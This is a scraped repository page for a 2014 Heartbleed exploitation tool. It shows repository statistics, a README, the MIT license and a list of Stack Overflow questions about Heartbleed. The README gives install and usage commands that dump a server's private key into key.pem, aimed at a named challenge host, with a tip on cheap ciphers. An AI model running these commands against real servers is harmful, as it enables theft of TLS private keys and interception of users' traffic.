heartbleed

Extracting server private key using Heartbleed OpenSSL vulnerability.

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Statistics on heartbleed

Number of watchers on Github 386
Number of open issues 0
Average time to close an issue about 10 hours
Main language C++
Average time to merge a PR less than a minute
Open pull requests 0+
Closed pull requests 0+
Last commit almost 4 years ago
Repo Created over 4 years ago
Repo Last Updated 10 months ago
Size 370 KB
Organization / Authorindutny
Contributors2
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Heartbleed

Extracting server private key using Heartbleed OpenSSL vulnerability.

NOTE: Pointing this tool at other people's servers is illegal in most countries.

How to use

$ npm install -g heartbleed.js
$ heartbleed
Options:
  --host         [required]
  --port         [default: 443]
  --concurrency  [default: 1]

Missing required arguments: host

$ heartbleed -h cloudflarechallenge.com -c 1000 >> key.pem

Protip, use cheap ciphers:

heartbleed -h cloudflarechallenge.com -c 1000 --ciphers="AES128-SHA" >> key.pem

LICENSE

This software is licensed under the MIT License.

Copyright Fedor Indutny, 2014.

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the Software), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED AS IS, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

heartbleed questions on Stackoverflow (View All Questions)
  • How can I find the code which caused the Heartbleed Bug before the fix was made?
  • Invalid syntax error in Python HeartBleed script
  • Linking with OpenSSL fails with Heartbleed security advisory even after upgrading it
  • HeartBleed python test script
  • How to avoid Heartbleed like problems in the future?
  • padding about OpenSSL heartbleed
  • Does the Heartbleed bug require me to replace my openPGP keysets?
  • Heartbleed but - does authorization matter?
  • How does Heartbleed affect Ruby on Rails?
  • Heartbleed: Payloads and padding
  • Heartbleed bug: Why is it even possible to process the heartbeat request before the payload is delivered?
  • How can I ensure that Ruby uses an OpenSSL not vulnerable to Heartbleed?
  • Switching the SSL provider after Heartbleed instead of revoking
  • What if I generate CSR with heartbleed-bug affected version?
  • Had a verified SSL/TLS implementation in a 'safe language' would it still have been vulnerable be to the heartbleed attack?
  • Does Jetty use OpenSSL and is it vulnerable to the Heartbleed bug?
  • Is the heartbleed bug a manifestation of the classic buffer overflow exploit in C?
  • Does the heartbleed bug necessitate new SSH private keys?
  • OpenSSL_Random_Psuedo_Bytes: Is it Affected By Heartbleed?
  • GitLab Omnibus SSL Vulnerability (Heartbleed)
  • Upgrade Openssl Fixes Heartbleed but results in Magento MySQL Error
  • Solving Heartbleed issue on Tomcat with APR and OpenSSL. Compilation errors
  • What are pre-requisites for Heartbleed exploit?
  • Is CryptoJS vulnerable to the OpenSSL Heartbleed bug?
  • heartbleed affect the 3rd party php server receipt verify of itunes?
  • How to fix heartbleed without apt-get upgrading everything?
  • HeartBleed and CENTOS - Installed the newest version openssl but it's not using it
  • heartbleed - Revoke or re-key SSL certificate?
  • Does the heartbleed vulnerability affect the SPDY protocol?
  • Windows Server 2012 R2 and IIS affected by Heartbleed exploit?
heartbleed list of languages used
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